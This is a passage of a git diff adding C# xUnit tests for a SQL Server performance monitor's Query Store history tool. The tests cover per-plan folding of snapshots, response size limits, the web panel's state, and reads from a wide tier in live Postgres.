+        Assert.Equal(0, r.GetProperty("tables").GetInt32());
+    }
+
+    [Fact]
+    public void AnEmptyAnswer_ShowsTheWindowNoteItCarries_AboveItsMessage()
+    {
+        var r = Run("emptyWithHints");
+        Assert.Single(r.GetProperty("notices").EnumerateArray());
+        Assert.Contains("further back than the store holds", r.GetProperty("notices")[0].GetString());
+        Assert.Contains("No Query Store history", r.GetProperty("empties")[0].GetString());
+        Assert.Equal(0, r.GetProperty("tables").GetInt32());
+    }
+
+    [Fact]
+    public void AnEmptyAnswer_WhoseWindowWasNotCut_ShowsNoNote()
+    {
+        var r = Run("emptyWithUncutHints");
+        Assert.Equal(0, r.GetProperty("notices").GetInt32());
+        Assert.Contains("No Query Store history", Str(r, "text"));
+    }
+
+    [Fact]
+    public void ARowWithoutAKey_GetsADash()
+    {
+        var r = Run("noKey");
+        Assert.Equal("\u2014", Str(r, "noDb"));
+        Assert.Equal("\u2014", Str(r, "noId"));
+    }
+
+    [Fact]
+    public void TheColumn_IsNotSortedFilteredExportedOrCopied()
+    {
+        var r = Run("flags");
+        Assert.Equal("query_store_history", Str(r, "key"));
+        foreach (var f in new[] { "sortable", "filter", "csv", "copy" }) Assert.False(r.GetProperty(f).GetBoolean(), f);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreHistoryLivePostgresTests.cs b/Darling/Darling.Tests/QueryStoreHistoryLivePostgresTests.cs
new file mode 100644
index 0000000000..e00df558f8
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreHistoryLivePostgresTests.cs
@@ -0,0 +1,313 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5234: get_query_store_query_history folds a query's snapshots plan by plan. An interval collected three times with
+/// a growing execution_count counts once, at its latest snapshot (#1841); two plans come back, the points are ordered by
+/// collection time, and a wrong query_id answers <c>empty</c>. Anchored a few hours back from the run, with as_of fixed against it.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class QueryStoreHistoryLivePostgresTests
+{
+    private const string ServerName = "darling-qs-history-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    private const string Db = "QsHistoryDb";
+
+    /// <summary>
+    /// Naive UTC as the store keeps it, a few hours back from the run so a retention or compression job (which works on
+    /// chunks older than the raw window) cannot touch the seed; as_of is fixed against it, so no clock decides what the window holds.
+    /// </summary>
+    private static readonly DateTime Anchor = DateTime.SpecifyKind(DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddHours(-3), DateTimeKind.Unspecified);
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static string StatusOf(string json)
+    {
+        using var doc = JsonDocument.Parse(json);
+        return doc.RootElement.GetProperty("status").GetString()!;
+    }
+
+    /* as_of is fixed, so the window is [End - 24h, End] and no clock decides what is in it. */
+    private static readonly DateTime End = Anchor.AddHours(2);
+
+    [Fact]
+    public async Task TheHistory_CountsAnIntervalOnce_FoldsPerPlan_AndAWrongQueryIdIsEmpty()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live history test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+            var interval = Anchor.AddMinutes(-30);
+            /* Plan 7, one interval collected three times: 10, 25, 40 executions. Only the 40 counts. */
+            await InsertAsync(connection, Anchor.AddMinutes(1), 4242, 7, 1, interval, 10, 100_000, 40_000, ct);
+            await InsertAsync(connection, Anchor.AddMinutes(2), 4242, 7, 1, interval, 25, 100_000, 40_000, ct);
+            await InsertAsync(connection, Anchor.AddMinutes(3), 4242, 7, 1, interval, 40, 100_000, 40_000, ct);
+            /* Plan 9, a second interval of its own. */
+            await InsertAsync(connection, Anchor.AddMinutes(4), 4242, 9, 2, Anchor, 5, 20_000, 10_000, ct);
+
+            using var doc = JsonDocument.Parse(await DarlingMcpQueryStoreHistoryTools.GetQueryStoreQueryHistory(
+                postgres, Db, 4242, ServerName, hours_back: 24, as_of: End.ToString("o", CultureInfo.InvariantCulture), cancellationToken: ct));
+            var root = doc.RootElement;
+            var plans = root.GetProperty("plans");
+            Assert.Equal(2, plans.GetArrayLength());
+            Assert.Equal(7, plans[0].GetProperty("plan_id").GetInt64());
+            Assert.Equal(40, plans[0].GetProperty("execution_count").GetInt64());
+            Assert.Equal(100.0, plans[0].GetProperty("avg_duration_ms").GetDouble(), 6);
+            Assert.Equal(4000.0, plans[0].GetProperty("total_duration_ms").GetDouble(), 6);
+            Assert.Equal(1600.0, plans[0].GetProperty("total_cpu_ms").GetDouble(), 6);
+            Assert.Equal(9, plans[1].GetProperty("plan_id").GetInt64());
+            Assert.Equal(5, plans[1].GetProperty("execution_count").GetInt64());
+
+            var points = root.GetProperty("points");
+            Assert.Equal(2, points.GetArrayLength());
+            Assert.Equal(40, points[0].GetProperty("execution_count").GetInt64());
+            Assert.True(string.CompareOrdinal(points[0].GetProperty("collection_time").GetString(), points[1].GetProperty("collection_time").GetString()) < 0);
+            Assert.False(root.GetProperty("points_truncated").GetBoolean());
+            /* The oldest row is 1 minute past the anchor, hours after the window's start (End - 24 h): the window is cut. */
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(Anchor.AddMinutes(1).ToString("yyyy-MM-dd'T'HH:mm", CultureInfo.InvariantCulture), root.GetProperty("effective_start").GetString()![..16]);
+
+            Assert.Equal("empty", StatusOf(await DarlingMcpQueryStoreHistoryTools.GetQueryStoreQueryHistory(
+                postgres, Db, 9999, ServerName, hours_back: 24, as_of: End.ToString("o", CultureInfo.InvariantCulture), cancellationToken: ct)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>#4966: an empty answer over a window the store does not reach back to carries the window notice in its hints.</summary>
+    [Fact]
+    public async Task AnEmptyAnswer_OverACutWindow_CarriesTheWindowNotice()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live history test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+            await InsertAsync(connection, Anchor.AddMinutes(1), 4242, 7, 1, Anchor, 5, 20_000, 10_000, ct);
+
+            using var doc = JsonDocument.Parse(await DarlingMcpQueryStoreHistoryTools.GetQueryStoreQueryHistory(
+                postgres, Db, 9999, ServerName, hours_back: 24, as_of: End.ToString("o", CultureInfo.InvariantCulture), cancellationToken: ct));
+            Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+            var hints = doc.RootElement.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.False(string.IsNullOrEmpty(hints.GetProperty("effective_start").GetString()));
+            Assert.False(string.IsNullOrEmpty(hints.GetProperty("truncation_note").GetString()));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #5234: many plans times many intervals stays under <see cref="McpResponseBudget.DefaultBytes"/>. The newest points are kept
+    /// (so the last interval is present and the first is not), and the plans list is capped by total duration.
+    /// </summary>
+    [Fact]
+    public async Task ManyPlansAndIntervals_StayUnderTheResponseBudget_AndKeepTheNewestPoints()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live history test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+            const int planCount = 30;
+            const int intervalCount = 40;
+            for (var plan = 1; plan <= planCount; plan++)
+            {
+                for (var i = 0; i < intervalCount; i++)
+                {
+                    var intervalStart = Anchor.AddMinutes(-15 * i);
+                    /* Plan N's average is N * 1.234567 ms, so the plans differ and the cut keeps the longest. */
+                    await InsertAsync(connection, intervalStart.AddMinutes(14), 4242, plan, i + 1, intervalStart, 10 + i, plan * 1234.567891, plan * 987.654321, ct);
+                }
+            }
+
+            var json = await DarlingMcpQueryStoreHistoryTools.GetQueryStoreQueryHistory(
+                postgres, Db, 4242, ServerName, hours_back: 24, as_of: End.ToString("o", CultureInfo.InvariantCulture), cancellationToken: ct);
+            var bytes = System.Text.Encoding.UTF8.GetByteCount(json);
+            using var doc = JsonDocument.Parse(json);
+            var root = doc.RootElement;
+            var points = root.GetProperty("points");
+            Assert.True(bytes < McpResponseBudget.DefaultBytes, $"the answer is {bytes} bytes for {points.GetArrayLength()} points; the budget is {McpResponseBudget.DefaultBytes}.");
+            Assert.True(root.GetProperty("points_truncated").GetBoolean());
+            Assert.True(points.GetArrayLength() > 0 && points.GetArrayLength() <= DarlingMcpQueryStoreHistoryTools.MaxPoints);
+            Assert.True(root.GetProperty("plans_truncated").GetBoolean());
+            Assert.Equal(DarlingMcpQueryStoreHistoryTools.MaxPlans, root.GetProperty("plans").GetArrayLength());
+            /* The newest interval is kept, ordered oldest first; the oldest interval is the one that was cut. */
+            var times = Enumerable.Range(0, points.GetArrayLength()).Select(n => points[n].GetProperty("collection_time").GetString()!).ToList();
+            Assert.Equal(times.OrderBy(t => t, StringComparer.Ordinal), times);
+            var newest = Anchor.AddMinutes(14).ToString("yyyy-MM-dd'T'HH:mm", CultureInfo.InvariantCulture);
+            Assert.StartsWith(newest, times[^1]);
+            Assert.DoesNotContain(times, t => t.StartsWith(Anchor.AddMinutes(-15 * (intervalCount - 1) + 14).ToString("yyyy-MM-dd'T'HH:mm", CultureInfo.InvariantCulture), StringComparison.Ordinal));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #5300: Query Store keeps a plan's Regular and Aborted runs, and an availability group's replicas, in separate rows
+    /// that share a collection time. The series draws ONE value per plan and instant, execution-weighted, and the plan table
+    /// folds the same rows the same way. A window under 24 hours never consults the interval table, so this reads raw.
+    /// </summary>
+    [Fact]
+    public async Task OutcomesAndReplicas_AtOneInstant_GiveOnePointPerPlan_ExecutionWeighted()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live history test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+            var at = Anchor.AddMinutes(10);
+            /* Plan 7: 1000 Regular runs at 5 ms and 2 Aborted (timeout) runs at 30 s, one interval, one instant. */
+            await InsertAsync(connection, at, 4242, 7, 1, Anchor, 1000, 5_000, 2_000, ct, outcome: "Regular");
+            await InsertAsync(connection, at, 4242, 7, 1, Anchor, 2, 30_000_000, 30_000_000, ct, outcome: "Aborted");
+            /* Plan 9: two replicas, one instant. */
+            await InsertAsync(connection, at, 4242, 9, 2, Anchor, 10, 100_000, 10_000, ct, replicaRole: "primary");
+            await InsertAsync(connection, at, 4242, 9, 2, Anchor, 30, 200_000, 30_000, ct, replicaRole: "secondary");
+            /* A later instant of plan 7, a lone row. */
+            await InsertAsync(connection, Anchor.AddMinutes(25), 4242, 7, 3, Anchor.AddMinutes(15), 40, 6_000, 2_000, ct);
+
+            using var doc = JsonDocument.Parse(await DarlingMcpQueryStoreHistoryTools.GetQueryStoreQueryHistory(
+                postgres, Db, 4242, ServerName, hours_back: 12, as_of: End.ToString("o", CultureInfo.InvariantCulture), cancellationToken: ct));
+            var points = doc.RootElement.GetProperty("points");
+            Assert.Equal(3, points.GetArrayLength());
+            Assert.Equal(new long[] { 7, 9, 7 }, Enumerable.Range(0, 3).Select(n => points[n].GetProperty("plan_id").GetInt64()));
+            Assert.Equal(1002, points[0].GetProperty("execution_count").GetInt64());
+            Assert.Equal((1000 * 5.0 + 2 * 30_000.0) / 1002, points[0].GetProperty("avg_duration_ms").GetDouble(), 6);
+            Assert.Equal(40, points[1].GetProperty("execution_count").GetInt64());
+            Assert.Equal((10 * 100.0 + 30 * 200.0) / 40, points[1].GetProperty("avg_duration_ms").GetDouble(), 6);
+            Assert.Equal(6.0, points[2].GetProperty("avg_duration_ms").GetDouble(), 6);
+            /* The plan table folds the same rows, so a point and its plan's row agree about what was combined. */
+            var plan7 = doc.RootElement.GetProperty("plans")[0];
+            Assert.Equal(1042, plan7.GetProperty("execution_count").GetInt64());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task RegisterServerAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO servers (server_id, server_name, display_name, is_enabled, created_date, modified_date)
+VALUES ($1, $2, $3, TRUE, $4, $4)
+ON CONFLICT (server_id) DO UPDATE SET server_name = EXCLUDED.server_name, display_name = EXCLUDED.display_name,
+    is_enabled = TRUE, modified_date = EXCLUDED.modified_date;", connection);
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(Anchor, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertAsync(
+        NpgsqlConnection connection, DateTime collectionTime, long queryId, long planId, long intervalId, DateTime firstExecution,
+        long executions, double avgDurationUs, double avgCpuUs, System.Threading.CancellationToken ct,
+        string outcome = "Regular", string? replicaRole = null)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, runtime_stats_interval_id,
+     first_execution_time, last_execution_time, execution_count, avg_duration_us, avg_cpu_time_us, is_forced_plan,
+     execution_type_desc, replica_role)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $9, $10, $11, $12, FALSE, $13, $14)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(Db);
+        command.Parameters.AddWithValue(queryId);
+        command.Parameters.AddWithValue(planId);
+        command.Parameters.AddWithValue(intervalId);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(firstExecution, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(executions);
+        command.Parameters.AddWithValue(avgDurationUs);
+        command.Parameters.AddWithValue(avgCpuUs);
+        command.Parameters.AddWithValue(outcome);
+        command.Parameters.AddWithValue((object?)replicaRole ?? DBNull.Value);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        await using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM query_store_stats WHERE server_id = {ServerId}; " +
+            $"DELETE FROM servers WHERE server_id = {ServerId};", connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreHistoryPanelStateTests.cs b/Darling/Darling.Tests/QueryStoreHistoryPanelStateTests.cs
new file mode 100644
index 0000000000..1f8fc906d3
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreHistoryPanelStateTests.cs
@@ -0,0 +1,115 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web Query Store history panel's open state (#5234): one panel per grid row, a Plan button that opens only its
+/// own cell, a redraw set that stays bounded across grid rebuilds, and a chart axis that stays with the data it was
+/// read for. The shipped <c>query-store-history.js</c> runs under Node through the harness that
+/// <see cref="QueryStoreHistoryBehaviourTests"/> uses; Node is skipped when it is not installed.
+/// </summary>
+public sealed class QueryStoreHistoryPanelStateTests
+{
+    private static JsonElement Run(string scenario) => QueryStoreHistoryBehaviourTests.Run(scenario);
+
+    private static bool[] Flags(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetBoolean()).ToArray();
+
+    private static string[] Strs(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static int[] Ints(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetInt32()).ToArray();
+
+    private static void AssertOpenPlans(JsonElement r, string name, int a, int b, int grid)
+    {
+        var o = r.GetProperty(name);
+        Assert.Equal(a, o.GetProperty("a").GetInt32());
+        Assert.Equal(b, o.GetProperty("b").GetInt32());
+        Assert.Equal(grid, o.GetProperty("grid").GetInt32());
+    }
+
+    [Fact]
+    public void HistoryOpenedOnOneGridRow_LeavesTheOtherRowsOfTheQueryClosed()
+    {
+        var r = Run("twoRows");
+        Assert.Equal(new[] { true, false, false, false }, Flags(r, "afterFirst"));
+        Assert.Equal(1, r.GetProperty("fetchesAfterFirst").GetInt32());
+        Assert.Equal(new[] { "srv-a|Orders|42|7|Regular|PRIMARY" }, Strs(r, "keysAfterFirst"));
+        Assert.Equal(new[] { true, true, false, false }, Flags(r, "afterSecond"));
+        Assert.Equal(new[] { false, true, false, false }, Flags(r, "afterHide"));
+        Assert.Equal(new[] { "srv-a|Orders|42|9|Regular|PRIMARY" }, Strs(r, "keysAfterHide"));
+    }
+
+    [Fact]
+    public void ThePlanButtonInAHistoryTable_OpensOnlyItsOwnCell()
+    {
+        var r = Run("planButtonScope");
+        Assert.Equal(1, r.GetProperty("planReads").GetInt32());
+        AssertOpenPlans(r, "afterTableButton", a: 1, b: 0, grid: 0);
+        AssertOpenPlans(r, "afterGridButton", a: 1, b: 0, grid: 1);
+        AssertOpenPlans(r, "afterOtherTableButton", a: 1, b: 1, grid: 1);
+        Assert.Equal(3, r.GetProperty("planPanels").GetInt32());
+    }
+
+    /// <summary>Three rows a build, rebuilt twelve times without a click: first the same rows each time, then new rows each
+    /// time. The set holds the grid on the page and the one being built, so six cells at most.</summary>
+    [Fact]
+    public void RebuildingTheGridWithoutAClick_KeepsTheRedrawSetBounded()
+    {
+        var r = Run("rebuildsBounded");
+        foreach (var phase in new[] { "sameRows", "newRows" })
+        {
+            var p = r.GetProperty(phase);
+            var after = Ints(p, "after");
+            Assert.All(after, n => Assert.InRange(n, 3, 6));
+            Assert.Equal(6, after[^1]);
+            // The cells of the build in progress are not on the page yet, and a later cell of that build must not drop them.
+            Assert.Equal(6, Ints(p, "during")[^1]);
+        }
+        Assert.Equal(6, r.GetProperty("keys").GetInt32());
+    }
+
+    [Fact]
+    public void UnderAPreset_ARedrawKeepsTheWindowTheDataWasLoadedFor_AndANewReadTakesItsOwn()
+    {
+        const long hour = 3600000L;
+        var r = Run("presetWindow");
+        var end = DateTimeOffset.Parse("2026-03-04T06:00:00Z").ToUnixTimeMilliseconds();
+        var loaded = r.GetProperty("loaded");
+        Assert.Equal(end, loaded.GetProperty("end").GetInt64());
+        Assert.Equal(end - hour, loaded.GetProperty("start").GetInt64());
+
+        // Half an hour on, the page's rebuild draws the open panel from the same read, so the axis stays where it was.
+        Assert.Equal(0, r.GetProperty("rebuiltRefetched").GetInt32());
+        var rebuilt = r.GetProperty("rebuilt");
+        Assert.Equal(end, rebuilt.GetProperty("end").GetInt64());
+        Assert.Equal(end - hour, rebuilt.GetProperty("start").GetInt64());
+
+        // A read for a wider window takes the axis of that window, anchored at the time of that read.
+        Assert.Equal(1, r.GetProperty("widenedRefetched").GetInt32());
+        var widened = r.GetProperty("widened");
+        Assert.Equal(end + hour / 2, widened.GetProperty("end").GetInt64());
+        Assert.Equal(end + hour / 2 - 6 * hour, widened.GetProperty("start").GetInt64());
+    }
+
+    /// <summary>Two grid rows of one query each have a History panel open. The chart takes its id from the panel's own key, so a
+    /// zoom or a hidden series set in one panel's chart is not read back by the other's.</summary>
+    [Fact]
+    public void TwoHistoryPanelsOfOneQuery_KeepTheirOwnChartZoomAndLegend()
+    {
+        var r = Run("panelCharts");
+        var ids = Strs(r, "ids");
+        Assert.Equal(new[] { "qs-history|srv-a|Orders|42|7|Regular|", "qs-history|srv-a|Orders|42|9|Regular|" }, ids);
+        Assert.Equal("hide:p7", r.GetProperty("hiddenInA").GetString());
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("hiddenInB").ValueKind);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreHistoryWideTierLiveTests.cs b/Darling/Darling.Tests/QueryStoreHistoryWideTierLiveTests.cs
new file mode 100644
index 0000000000..ca4f80a33b
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreHistoryWideTierLiveTests.cs
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5300: get_query_store_query_history follows the grid's tier choice, so a window wider than raw retention is read from
+/// <c>query_store_interval_wide</c> and the history of a query the grid lists is never empty. Seeded through the real write
+/// path on the below-floor rig (the same store shape as #4689's tests): a query's interval collected three times, with an
+/// Aborted run beside the Regular ones, in a day whose raw chunk is then dropped.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres (inside QueryStoreIntervalWideBelowFloorLiveTests.StartAsync) and works
+   entirely inside it, so it cannot race live collection. It shares that class's gap-cache collection, because the gate's
+   cadence check reads a process-wide cache. */
+[Collection("gap-cache-serial")]
+public sealed class QueryStoreHistoryWideTierLiveTests
+{
+    private const string ServerName = "qsiw-below-floor";
+    private const string Db = "qsH";
+    private const long QueryId = 7000;
+
+    private static async Task SeedHistoryQueryAsync(Npgsql.NpgsqlDataSource postgres, DateTime first, CancellationToken ct)
+    {
+        var serverId = QueryStoreIntervalWideBelowFloorLiveTests.ServerId;
+        var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+        var context = new CollectorContext { ServerId = serverId, ServerName = "qsiw-grid-host", CollectionTime = DateTime.UtcNow, Deltas = new CollectorDeltaCalculator() };
+        var server = new ServerRuntime
+        {
+            Config = new MonitoredServer { Name = "qsiw-grid", Host = "qsiw-grid-host" },
+            ConnectionString = "Server=qsiw-grid-host",
+            Target = new CollectorTargetInfo { SqlMajorVersion = 16 },
+            StorageName = "qsiw-grid-host",
+            ServerId = serverId,
+            EngineEdition = 3,
+        };
+
+        QueryStoreCollector.Row Row(long planId, string outcome, long executions, long durationUs, DateTime last) => new()
+        {
+            DatabaseName = Db,
+            QueryId = QueryId,
+            PlanId = planId,
+            ExecutionTypeDesc = outcome,
+            FirstExecutionTime = first,
+            LastExecutionTime = last,
+            QueryHash = "0x00001B58",
+            QueryPlanHash = "0x" + planId.ToString("X8", System.Globalization.CultureInfo.InvariantCulture),
+            ExecutionCount = executions,
+            AvgCpuTimeUs = durationUs / 2,
+            AvgDurationUs = durationUs,
+            IsForcedPlan = false,
+            ForceFailureCount = 0,
+            RuntimeStatsIntervalId = 7001,
+            IntervalStartTimeUtc = first,
+        };
+
+        /* One open interval re-fetched at three cycles with a growing count: only the last snapshot may be counted (20, not 37). */
+        await runner.WriteBackfillBatchAsync(QueryStoreCollector.Instance, new List<QueryStoreCollector.Row> { Row(71, "Regular", 5, 2_000, first.AddMinutes(9)) }, server, first.AddMinutes(10), context, ct);
+        await runner.WriteBackfillBatchAsync(QueryStoreCollector.Instance, new List<QueryStoreCollector.Row> { Row(71, "Regular", 12, 2_000, first.AddMinutes(24)) }, server, first.AddMinutes(25), context, ct);
+        await runner.WriteBackfillBatchAsync(QueryStoreCollector.Instance, new List<QueryStoreCollector.Row>
+        {
+            Row(71, "Regular", 20, 2_000, first.AddMinutes(39)),
+            Row(71, "Aborted", 2, 30_000_000, first.AddMinutes(39)),
+            Row(72, "Regular", 4, 1_000, first.AddMinutes(39)),
+        }, server, first.AddMinutes(40), context, ct);
+    }
+
+    [Fact]
+    public async Task AWindowPastRawRetention_IsReadFromTheIntervalTable_CountsAnIntervalOnce_AndFoldsOutcomesIntoOnePoint()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await QueryStoreIntervalWideBelowFloorLiveTests.StartAsync(timescale: true, ct);
+        var s = QueryStoreIntervalWideBelowFloorLiveTests.S;
+        var first = s.AddHours(6);
+        await SeedHistoryQueryAsync(rig.Postgres, first, ct);
+        await QueryStoreIntervalWideBelowFloorLiveTests.ForceFilledSinceAsync(rig.Connection, s.AddDays(-1), ct);
+
+        /* The day the seed lives in leaves raw. Only the interval table still holds it. */
+        await QueryStoreIntervalWideBelowFloorLiveTests.DropRawChunksOlderThanAsync(rig, s.AddDays(1), ct);
+        var rawRows = (long)(await QueryStoreIntervalWideBelowFloorLiveTests.ScalarAsync(rig.Connection,
+            $"SELECT COUNT(*) FROM collect.query_store_stats WHERE query_id = {QueryId}", ct))!;
+        Assert.Equal(0, rawRows);
+        var plan = await QueryStoreIntervalWideBelowFloorLiveTests.ResolveAsync(rig, ct);
+        Assert.True(plan.UseTable);
+        Assert.True(plan.ReadStart <= first);
+
+        using var doc = JsonDocument.Parse(await DarlingMcpQueryStoreHistoryTools.GetQueryStoreQueryHistory(
+            rig.Postgres, Db, QueryId, ServerName, hours_back: 168, cancellationToken: ct));
+        var root = doc.RootElement;
+        var plans = root.GetProperty("plans");
+        Assert.Equal(new long[] { 71, 72 }, Enumerable.Range(0, plans.GetArrayLength()).Select(n => plans[n].GetProperty("plan_id").GetInt64()));
+        /* 20 Regular (the interval's last snapshot, not 5 + 12 + 20) plus 2 Aborted. */
+        Assert.Equal(22, plans[0].GetProperty("execution_count").GetInt64());
+        Assert.Equal((20 * 2.0 + 2 * 30_000.0) / 22, plans[0].GetProperty("avg_duration_ms").GetDouble(), 6);
+        Assert.Equal(4, plans[1].GetProperty("execution_count").GetInt64());
+
+        /* One point per plan at the instant, the Regular and Aborted rows of plan 71 combined. */
+        var points = root.GetProperty("points");
+        Assert.Equal(2, points.GetArrayLength());
+        Assert.Equal(22, points[0].GetProperty("execution_count").GetInt64());
+        Assert.Equal(first.AddMinutes(40).ToString("yyyy-MM-dd'T'HH:mm", System.Globalization.CultureInfo.InvariantCulture), points[0].GetProperty("collection_time").GetString()![..16]);
+
+        /* An empty answer over the same window still says what the window reached. */
+        using var empty = JsonDocument.Parse(await DarlingMcpQueryStoreHistoryTools.GetQueryStoreQueryHistory(
+            rig.Postgres, Db, 9999, ServerName, hours_back: 168, cancellationToken: ct));
+        Assert.Equal("empty", empty.RootElement.GetProperty("status").GetString());
+        Assert.False(string.IsNullOrEmpty(empty.RootElement.GetProperty("hints").GetProperty("effective_start").GetString()));
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalBoundedReadPruningLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalBoundedReadPruningLiveTests.cs
new file mode 100644
index 0000000000..d2cf6c4651
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalBoundedReadPruningLiveTests.cs
@@ -0,0 +1,329 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
